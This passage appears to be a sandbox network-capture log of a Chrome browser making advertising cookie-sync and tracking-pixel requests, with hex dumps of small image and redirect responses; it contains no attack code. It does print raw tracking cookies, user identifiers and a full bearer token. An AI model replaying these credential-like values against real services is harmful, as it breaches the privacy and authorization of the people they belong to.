2024-05-23 22:34:59 UTC	16383	IN	Data Raw: ff d8 ff e0 00 10 4a 46 49 46 00 01 01 00 00 01 00 01 00 00 ff e2 02 40 49 43 43 5f 50 52 4f 46 49 4c 45 00 01 01 00 00 02 30 41 44 42 45 02 10 00 00 6d 6e 74 72 52 47 42 20 58 59 5a 20 07 d0 00 08 00 0b 00 13 00 33 00 3b 61 63 73 70 41 50 50 4c 00 00 00 00 6e 6f 6e 65 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f6 d6 00 01 00 00 00 00 d3 2d 41 44 42 45 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0a 63 70 72 74 00 00 00 fc 00 00 00 32 64 65 73 63 00 00 01 30 00 00 00 6b 77 74 70 74 00 00 01 9c 00 00 00 14 62 6b 70 74 00 00 01 b0 00 00 00 14 72 54 52 43 00 00 01 c4 00 00 00 0e 67 54 52 43 00 00 01 d4 00 00 00 0e 62 54 52 43 00 00 01 e4 00 00 00 0e 72 Data Ascii: JFIF@ICC_PROFILE0ADBEmntrRGB XYZ 3;acspAPPLnone-ADBEcprt2desc0kwtptbkptrTRCgTRCbTRCr
2024-05-23 22:34:59 UTC	15744	IN	Data Raw: a2 ab 88 a1 b2 3e e7 e4 93 00 0d bf 0a 07 a4 7f f6 7e 4c 4a 2d bc cc 85 5e 0f e6 01 8f 43 19 b8 7e db 24 0b 33 ad 02 d4 1c 94 95 66 22 9c ba 42 2f 97 8c 77 ee 65 8a fb 40 fd 25 b0 f7 13 b7 86 86 22 cd 01 ee 78 89 45 74 8f b6 ed 8f 17 f1 f8 8c 6a 63 40 58 93 c0 99 d8 96 ae d0 7f 31 84 06 16 63 ee f4 7b 42 c5 f2 8b f7 11 71 ae 47 c8 ef 67 49 00 0e db c5 e0 c5 e6 00 0c e9 31 63 6e 87 33 32 82 77 fe c2 39 f2 f0 26 40 01 25 ab 79 8f 18 7a 67 25 8f cc d5 79 19 3b 0a 80 92 d2 cd d7 69 9b ef fd 3f 80 7f 82 7c 0f d5 ff c4 00 38 11 00 02 02 01 03 02 05 03 01 06 05 04 03 00 00 00 01 02 00 11 03 12 21 31 04 41 10 13 51 61 71 20 22 32 81 14 30 40 42 52 91 05 23 33 62 72 82 93 a1 c1 b1 d1 f1 ff da 00 08 01 02 01 01 3f 00 17 0e 6a c9 60 13 40 83 53 30 7c a2 d1 c8 15 c0 Data Ascii: >~LJ-^C~$3f"B/we@%"xEtjc@X1c{BqGgI1cn32w9&@%yzg%y;i?\|8!1AQaq "20@BR#3br?j`@S0\|

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
289	192.168.2.6	50037	34.98.64.218	443	6028	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-23 22:34:59 UTC	862	OUT	GET /w/1.0/cm?cc=1&_={CACHEBUSTER}&id=47f31213-389c-4904-aaa6-9b11aab9c211&gdpr=0&gdpr_consent=&us_privacy=1YNN&r=https%3A%2F%2Fusersync.gumgum.com%2Fusersync%3Fb%3Dopx%26i%3D HTTP/1.1 Host: us-u.openx.net Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://rtb.gumgum.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: receive-cookie-deprecation=1; i=fce27513-0e48-41b6-bbf8-6f471e4664ab\|1716503696; pd=v2\|1716503697\|vMgavPkWgyiK
2024-05-23 22:34:59 UTC	568	IN	HTTP/1.1 302 Moved Temporarily Vary: Accept, Accept-Encoding Set-Cookie: i=fce27513-0e48-41b6-bbf8-6f471e4664ab\|1716503696; Version=1; Expires=Fri, 23-May-2025 22:34:59 GMT; Max-Age=31536000; Secure; Domain=.openx.net; Path=/; SameSite=None Server: OXGW/0.0.0 P3P: CP="CUR ADM OUR NOR STA NID" Location: https://usersync.gumgum.com/usersync?b=opx&i=d873ee3a-8fda-4617-8655-b742b2315610 Date: Thu, 23 May 2024 22:34:59 GMT Content-Type: image/gif Content-Length: 0 Via: 1.1 google Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
290	192.168.2.6	50038	64.74.236.127	443	6028	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-23 22:34:59 UTC	785	OUT	GET /usersync/gumgum/?cb=https%3A%2F%2Fusersync.gumgum.com%2Fusersync%3Fb%3Dzem%26i%3D__ZUID__&gdpr=0&gdpr_consent=&puid=e_12ea1dd2-77f0-49d8-8aef-90768e12d7ac&s=2&us_privacy=1YNN HTTP/1.1 Host: b1sync.zemanta.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://rtb.gumgum.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: zuid=Ldu6nP-f8GRn9WiN8PL4
2024-05-23 22:34:59 UTC	610	IN	HTTP/1.1 302 Found Content-Type: text/html; charset=utf-8 Content-Length: 123 Connection: close Cache-Control: no-cache, no-store, must-revalidate Expires: Thu, 01 Dec 1994 16:00:00 GMT Location: https://usersync.gumgum.com/usersync?b=zem&i=Ldu6nP-f8GRn9WiN8PL4&gdpr=0&us_privacy=1YNN P3p: CP="We do not support P3P header." Pragma: no-cache Set-Cookie: zuid=Ldu6nP-f8GRn9WiN8PL4; Path=/; Domain=zemanta.com; Expires=Fri, 23 May 2025 22:34:59 GMT; Max-Age=31536000; Secure; SameSite=None Date: Thu, 23 May 2024 22:34:59 GMT Strict-Transport-Security: max-age=31536000; includeSubDomains; preload
2024-05-23 22:34:59 UTC	123	IN	Data Raw: 3c 61 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 75 73 65 72 73 79 6e 63 2e 67 75 6d 67 75 6d 2e 63 6f 6d 2f 75 73 65 72 73 79 6e 63 3f 62 3d 7a 65 6d 26 61 6d 70 3b 69 3d 4c 64 75 36 6e 50 2d 66 38 47 52 6e 39 57 69 4e 38 50 4c 34 26 61 6d 70 3b 67 64 70 72 3d 30 26 61 6d 70 3b 75 73 5f 70 72 69 76 61 63 79 3d 31 59 4e 4e 22 3e 46 6f 75 6e 64 3c 2f 61 3e 2e 0a 0a Data Ascii: <a href="https://usersync.gumgum.com/usersync?b=zem&i=Ldu6nP-f8GRn9WiN8PL4&gdpr=0&us_privacy=1YNN">Found</a>.

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
291	192.168.2.6	50039	185.89.210.46	443	6028	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-23 22:34:59 UTC	847	OUT	GET /bounce?%2Fgetuid%3Fhttps%3A%2F%2Fusersync.gumgum.com%2Fusersync%3Fb%3Dapn%26i%3D%24UID HTTP/1.1 Host: secure.adnxs.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://rtb.gumgum.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: XANDR_PANID=l9feJkDQllA9othKr8ID1vtALy-eG1am64URWo-Hh-HIRPRtJa12ojMlnucbuX1rmNMYn4_yirbzWHGXYPJIXmCPnOsC-rBVbIigEVijp24.; receive-cookie-deprecation=1; uuid2=9165965397510453586
2024-05-23 22:34:59 UTC	1429	IN	HTTP/1.1 302 Found Server: nginx/1.23.4 Date: Thu, 23 May 2024 22:34:59 GMT Content-Type: text/html; charset=utf-8 Content-Length: 0 Connection: close Cache-Control: no-store, no-cache, private Pragma: no-cache Expires: Sat, 15 Nov 2008 16:00:00 GMT P3P: policyref="http://cdn.adnxs-simple.com/w3c/policy/p3p.xml", CP="NOI DSP COR ADM PSAo PSDo OURo SAMo UNRo OTRo BUS COM NAV DEM STA PRE" X-XSS-Protection: 0 Access-Control-Allow-Credentials: true Access-Control-Allow-Origin: * Accept-CH: Sec-CH-UA-Full-Version-List,Sec-CH-UA-Arch,Sec-CH-UA-Model,Sec-CH-UA-Platform-Version,Sec-CH-UA-Bitness Location: https://usersync.gumgum.com/usersync?b=apn&i=9165965397510453586 AN-X-Request-Uuid: 1da18367-18e5-4143-adca-ccbe6ff9bbc4 Set-Cookie: XANDR_PANID=l9feJkDQllA9othKr8ID1vtALy-eG1am64URWo-Hh-HIRPRtJa12ojMlnucbuX1rmNMYn4_yirbzWHGXYPJIXmCPnOsC-rBVbIigEVijp24.; SameSite=None; Path=/; Max-Age=7776000; Expires=Wed, 21-Aug-2024 22:34:59 GMT; Domain=.adnxs.com; Secure; Partitioned Set-Cookie: receive-cookie-deprecation=1; SameSite=None; Path=/; Max-Age=314496000; Expires=Thu, 11-May-2034 22:34:59 GMT; Domain=.adnxs.com; Secure; HttpOnly; Partitioned Set-Cookie: uuid2=9165965397510453586; SameSite=None; Path=/; Max-Age=7776000; Expires=Wed, 21-Aug-2024 22:34:59 GMT; Domain=.adnxs.com; Secure; HttpOnly X-Proxy-Origin: 8.46.123.175; 8.46.123.175; 940.bm-nginx-loadbalancer.mgmt.ams3.adnexus.net; adnxs.com

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
292	192.168.2.6	50042	35.214.149.91	443	6028	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-23 22:34:59 UTC	766	OUT	GET /ul_cb/sync?ssp=gumgum2&user_id=e_12ea1dd2-77f0-49d8-8aef-90768e12d7ac&gdpr=0&gdpr_consent=&us_privacy=1YNN HTTP/1.1 Host: x.bidswitch.net Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://rtb.gumgum.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: tuuid=ad3998d2-fd62-4225-919d-66f459efadb2; c=1716503696; tuuid_lu=1716503696
2024-05-23 22:34:59 UTC	552	IN	HTTP/1.1 302 Moved Temporarily Server: nginx Date: Thu, 23 May 2024 22:34:59 GMT Content-Length: 0 Connection: close Cache-Control: no-cache, no-store, must-revalidate Location: //cms.quantserve.com/pixel/p-zLwwakwy-hZw3.gif?idmatch=0&ssp=gumgum2&gdpr=0&gdpr_consent= Set-Cookie: tuuid=ad3998d2-fd62-4225-919d-66f459efadb2; path=/; expires=Fri, 23-May-2025 22:34:59 GMT; domain=.bidswitch.net; samesite=none; secure Set-Cookie: tuuid_lu=1716503699; path=/; expires=Fri, 23-May-2025 22:34:59 GMT; domain=.bidswitch.net; samesite=none; secure

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
293	192.168.2.6	50045	142.250.184.226	443	6028	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-23 22:34:59 UTC	937	OUT	GET /pixel?google_nid=gumgum_dbm&google_hm=ZV8xMmVhMWRkMi03N2YwLTQ5ZDgtOGFlZi05MDc2OGUxMmQ3YWM=&gdpr=0&gdpr_consent=&google_redir=https%3A%2F%2Fusersync.gumgum.com%2Fusersync%3Fb%3Dgdv HTTP/1.1 Host: cm.g.doubleclick.net Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 X-Client-Data: CJa2yQEIprbJAQipncoBCO6MywEIkqHLAQj6mM0BCIWgzQEIucrNARjrjaUX Sec-Fetch-Site: cross-site Sec-Fetch-Mode: navigate Sec-Fetch-Dest: iframe Referer: https://rtb.gumgum.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-05-23 22:34:59 UTC	938	IN	HTTP/1.1 302 Found P3P: policyref="https://googleads.g.doubleclick.net/pagead/gcn_p3p_.xml", CP="CURa ADMa DEVa TAIo PSAo PSDo OUR IND UNI PUR INT DEM STA PRE COM NAV OTC NOI DSP COR" Location: https://cm.g.doubleclick.net/pixel?google_nid=gumgum_dbm&google_hm=ZV8xMmVhMWRkMi03N2YwLTQ5ZDgtOGFlZi05MDc2OGUxMmQ3YWM=&gdpr=0&gdpr_consent=&google_redir=https%3A%2F%2Fusersync.gumgum.com%2Fusersync%3Fb%3Dgdv&google_tc= Date: Thu, 23 May 2024 22:34:59 GMT Pragma: no-cache Expires: Fri, 01 Jan 1990 00:00:00 GMT Cache-Control: no-cache, must-revalidate Cross-Origin-Resource-Policy: cross-origin Content-Type: text/html; charset=UTF-8 Server: HTTP server (unknown) Content-Length: 436 X-XSS-Protection: 0 Set-Cookie: test_cookie=CheckForPermission; expires=Thu, 23-May-2024 22:49:59 GMT; path=/; domain=.doubleclick.net; Secure; HttpOnly; SameSite=none Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close
2024-05-23 22:34:59 UTC	436	IN	Data Raw: 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 63 6f 6e 74 65 6e 74 2d 74 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 63 68 61 72 73 65 74 3d 75 74 66 2d 38 22 3e 0a 3c 54 49 54 4c 45 3e 33 30 32 20 4d 6f 76 65 64 3c 2f 54 49 54 4c 45 3e 3c 2f 48 45 41 44 3e 3c 42 4f 44 59 3e 0a 3c 48 31 3e 33 30 32 20 4d 6f 76 65 64 3c 2f 48 31 3e 0a 54 68 65 20 64 6f 63 75 6d 65 6e 74 20 68 61 73 20 6d 6f 76 65 64 0a 3c 41 20 48 52 45 46 3d 22 68 74 74 70 73 3a 2f 2f 63 6d 2e 67 2e 64 6f 75 62 6c 65 63 6c 69 63 6b 2e 6e 65 74 2f 70 69 78 65 6c 3f 67 6f 6f 67 6c 65 5f 6e 69 64 3d 67 75 6d 67 75 6d 5f 64 62 6d 26 61 6d 70 3b 67 6f 6f 67 6c 65 5f 68 6d 3d 5a 56 38 78 4d 6d 56 68 4d 57 52 6b 4d 69 30 33 Data Ascii: <HTML><HEAD><meta http-equiv="content-type" content="text/html;charset=utf-8"><TITLE>302 Moved</TITLE></HEAD><BODY><H1>302 Moved</H1>The document has moved<A HREF="https://cm.g.doubleclick.net/pixel?google_nid=gumgum_dbm&google_hm=ZV8xMmVhMWRkMi03

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
294	192.168.2.6	50041	34.247.233.198	443	6028	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-23 22:34:59 UTC	700	OUT	GET /usersync?b=sta&i=0-c03462dd-8d57-5ae7-6dc9-e73928abe3ee$ip$8.46.123.175 HTTP/1.1 Host: usersync.gumgum.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://rtb.gumgum.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: vst=e_12ea1dd2-77f0-49d8-8aef-90768e12d7ac
2024-05-23 22:34:59 UTC	210	IN	HTTP/1.1 200 Date: Thu, 23 May 2024 22:34:59 GMT Content-Type: image/gif Content-Length: 35 Connection: close Cache-Control: private, no-store, must-revalidate, max-age=0 Expires: 0 Pragma: no-cache
2024-05-23 22:34:59 UTC	35	IN	Data Raw: 47 49 46 38 39 61 01 00 01 00 80 00 00 ff ff ff 00 00 00 2c 00 00 00 00 01 00 01 00 00 02 02 44 01 00 3b Data Ascii: GIF89a,D;

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
295	192.168.2.6	50047	198.47.127.19	443	6028	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-23 22:34:59 UTC	673	OUT	GET /AdServer/PugMaster?sec=1&async=1&kdntuid=1&rnd=86709109&p=133799&s=0&a=0&ptask=ALL&np=0&fp=0&rp=0&mpc=0&spug=1&coppa=0&gdpr=0&gdpr_consent=&us_privacy=1YNN HTTP/1.1 Host: image6.pubmatic.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: same-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://ads.pubmatic.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-05-23 22:34:59 UTC	869	IN	HTTP/1.1 200 OK Content-Type: text/html; charset=UTF-8 P3p: CP="NOI DSP COR LAW CUR ADMo DEVo TAIo PSAo PSDo IVAo IVDo HISo OTPo OUR SAMo BUS UNI COM NAV INT DEM CNT STA PRE LOC" Set-Cookie: KADUSERCOOKIE=BD0DE19C-09D4-4B62-A188-46A0D2E6C177; domain=pubmatic.com; path=/; max-age=31536000; SameSite=None; secure; Set-Cookie: chkChromeAb67Sec=1; domain=pubmatic.com; path=/; max-age=7776000; SameSite=None; secure; Set-Cookie: pi=133799:2; domain=pubmatic.com; path=/; max-age=86400; SameSite=None; secure; Set-Cookie: DPSync3=1717632000%3A201_245_241_227; domain=pubmatic.com; path=/; max-age=7776000; SameSite=None; secure; Set-Cookie: SyncRTB3=1717632000%3A21_56_251_71_3_220_13_54_8%7C1717027200%3A223; domain=pubmatic.com; path=/; max-age=7776000; SameSite=None; secure; Date: Thu, 23 May 2024 22:34:58 GMT Transfer-Encoding: chunked Connection: close
2024-05-23 22:34:59 UTC	2272	IN	Data Raw: 38 64 34 0d 0a 50 75 62 4d 61 74 69 63 2e 6c 6f 61 64 41 73 79 6e 63 49 6d 61 67 65 50 69 78 65 6c 28 27 68 74 74 70 73 3a 2f 2f 63 6d 2e 67 2e 64 6f 75 62 6c 65 63 6c 69 63 6b 2e 6e 65 74 2f 70 69 78 65 6c 3f 67 6f 6f 67 6c 65 5f 6e 69 64 3d 70 6d 65 62 26 67 6f 6f 67 6c 65 5f 73 63 3d 31 26 67 6f 6f 67 6c 65 5f 68 6d 3d 76 51 33 68 6e 41 6e 55 53 32 4b 68 69 45 61 67 30 75 62 42 64 77 25 33 44 25 33 44 26 67 64 70 72 3d 30 26 67 64 70 72 5f 63 6f 6e 73 65 6e 74 3d 27 29 3b 50 75 62 4d 61 74 69 63 2e 6c 6f 61 64 41 73 79 6e 63 49 6d 61 67 65 50 69 78 65 6c 28 27 68 74 74 70 73 3a 2f 2f 73 79 6e 63 2e 63 72 77 64 63 6e 74 72 6c 2e 6e 65 74 2f 71 6d 61 70 3f 63 3d 32 34 30 26 74 70 3d 50 55 42 4d 26 74 70 69 64 3d 42 44 30 44 45 31 39 43 2d 30 39 44 34 2d Data Ascii: 8d4PubMatic.loadAsyncImagePixel('https://cm.g.doubleclick.net/pixel?google_nid=pmeb&google_sc=1&google_hm=vQ3hnAnUS2KhiEag0ubBdw%3D%3D&gdpr=0&gdpr_consent=');PubMatic.loadAsyncImagePixel('https://sync.crwdcntrl.net/qmap?c=240&tp=PUBM&tpid=BD0DE19C-09D4-

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
296	192.168.2.6	50043	34.247.233.198	443	6028	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-23 22:34:59 UTC	686	OUT	GET /usersync?b=oth&i=y-BSMCIFhE2pcm2NCXOZVvX6OjZ.YQy641a2GU~A HTTP/1.1 Host: usersync.gumgum.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://rtb.gumgum.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: vst=e_12ea1dd2-77f0-49d8-8aef-90768e12d7ac
2024-05-23 22:34:59 UTC	210	IN	HTTP/1.1 200 Date: Thu, 23 May 2024 22:34:59 GMT Content-Type: image/gif Content-Length: 35 Connection: close Cache-Control: private, no-store, must-revalidate, max-age=0 Expires: 0 Pragma: no-cache
2024-05-23 22:34:59 UTC	35	IN	Data Raw: 47 49 46 38 39 61 01 00 01 00 80 00 00 ff ff ff 00 00 00 2c 00 00 00 00 01 00 01 00 00 02 02 44 01 00 3b Data Ascii: GIF89a,D;

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
297	192.168.2.6	50044	34.247.233.198	443	6028	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-23 22:34:59 UTC	682	OUT	GET /usersync?b=vnt&i=6a235f9e-9b26-4d12-95f6-f4919d5fecf1 HTTP/1.1 Host: usersync.gumgum.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://rtb.gumgum.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: vst=e_12ea1dd2-77f0-49d8-8aef-90768e12d7ac
2024-05-23 22:34:59 UTC	210	IN	HTTP/1.1 200 Date: Thu, 23 May 2024 22:34:59 GMT Content-Type: image/gif Content-Length: 35 Connection: close Cache-Control: private, no-store, must-revalidate, max-age=0 Expires: 0 Pragma: no-cache
2024-05-23 22:34:59 UTC	35	IN	Data Raw: 47 49 46 38 39 61 01 00 01 00 80 00 00 ff ff ff 00 00 00 2c 00 00 00 00 01 00 01 00 00 02 02 44 01 00 3b Data Ascii: GIF89a,D;

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
298	192.168.2.6	50048	15.197.193.217	443	6028	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-23 22:34:59 UTC	740	OUT	GET /track/cmf/generic?ttd_pid=gumgum&ttd_tpi=1&gdpr=0&gdpr_consent= HTTP/1.1 Host: match.adsrvr.org Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: navigate Sec-Fetch-Dest: iframe Referer: https://rtb.gumgum.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-05-23 22:34:59 UTC	499	IN	HTTP/1.1 302 Found Date: Thu, 23 May 2024 22:34:59 GMT Content-Length: 207 Connection: close server: Kestrel location: https://match.adsrvr.org/track/cmb/generic?ttd_pid=gumgum&ttd_tpi=1&gdpr=0&gdpr_consent= set-cookie: TDID=8369ae03-bf51-422b-a15c-33306b0e1dfe; expires=Fri, 23 May 2025 22:34:59 GMT; domain=.adsrvr.org; path=/; secure; samesite=none set-cookie: TDCPM=CAEYBSgCMgsI4tre9-ng_TwQBTgB; expires=Fri, 23 May 2025 22:34:59 GMT; domain=.adsrvr.org; path=/; secure; samesite=none
2024-05-23 22:34:59 UTC	207	IN	Data Raw: 52 65 64 69 72 65 63 74 69 6e 67 20 74 6f 3a 20 3c 61 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 6d 61 74 63 68 2e 61 64 73 72 76 72 2e 6f 72 67 2f 74 72 61 63 6b 2f 63 6d 62 2f 67 65 6e 65 72 69 63 3f 74 74 64 5f 70 69 64 3d 67 75 6d 67 75 6d 26 74 74 64 5f 74 70 69 3d 31 26 67 64 70 72 3d 30 26 67 64 70 72 5f 63 6f 6e 73 65 6e 74 3d 22 3e 68 74 74 70 73 3a 2f 2f 6d 61 74 63 68 2e 61 64 73 72 76 72 2e 6f 72 67 2f 74 72 61 63 6b 2f 63 6d 62 2f 67 65 6e 65 72 69 63 3f 74 74 64 5f 70 69 64 3d 67 75 6d 67 75 6d 26 74 74 64 5f 74 70 69 3d 31 26 67 64 70 72 3d 30 26 67 64 70 72 5f 63 6f 6e 73 65 6e 74 3d 3c 2f 61 3e Data Ascii: Redirecting to: <a href="https://match.adsrvr.org/track/cmb/generic?ttd_pid=gumgum&ttd_tpi=1&gdpr=0&gdpr_consent=">https://match.adsrvr.org/track/cmb/generic?ttd_pid=gumgum&ttd_tpi=1&gdpr=0&gdpr_consent=</a>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
299	192.168.2.6	50054	151.101.130.27	443	6028	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-23 22:34:59 UTC	1224	OUT	GET /playback/v1/accounts/6415665815001/videos/6353510307112 HTTP/1.1 Host: edge-auth.api.brightcove.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" Accept: application/json sec-ch-ua-mobile: ?0 Authorization: Bearer eyJhbGciOiJSUzI1NiJ9.eyJhdWQiOlsicGxheWJhY2suYXBpLmJyaWdodGNvdmUuY29tIl0sImFjY2lkIjoiNjQxNTY2NTgxNTAwMSIsInBraWQiOiI5MjE4NDMyMC04ZmYzLTQ1ZTktYjYwMC05OTBmODIyYzg2NjciLCJleHAiOjE3MTY1MDM5OTQsImlhdCI6MTcxNjUwMzY5NH0.uHoWDSvgrFiIR3SVLuB6EmG4srk_Rs7pEVtNU2pNnLO5V0ONl6EzrIXuAKS-7Ehp_A0hAqChl2wLDeHmcvhKVRHZdMXuZPAa0teF6_WlM7x_n5mysSGWagfKZz6U3IoR1Is_FTilvI1ukUt9fzC7oJGyS_6fauGBbE2jDx8anRk7uhpa7HiwLMhiiCIrj9--KEoK78fLQpz3g7RRWud41g_IOKl2wyeGVnaepIPAEae4VJ1wfXej4XKAVthy_qPtpnsC_JM1cvZtr2DHcTWh5RFLLP8pFo_pLjsaNLh3SU9Yq5AvszXMahu6K_ZWhSmyWPgnxhKD0hQUzkoRHc9f5w User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Origin: https://s.yimg.com Sec-Fetch-Site: 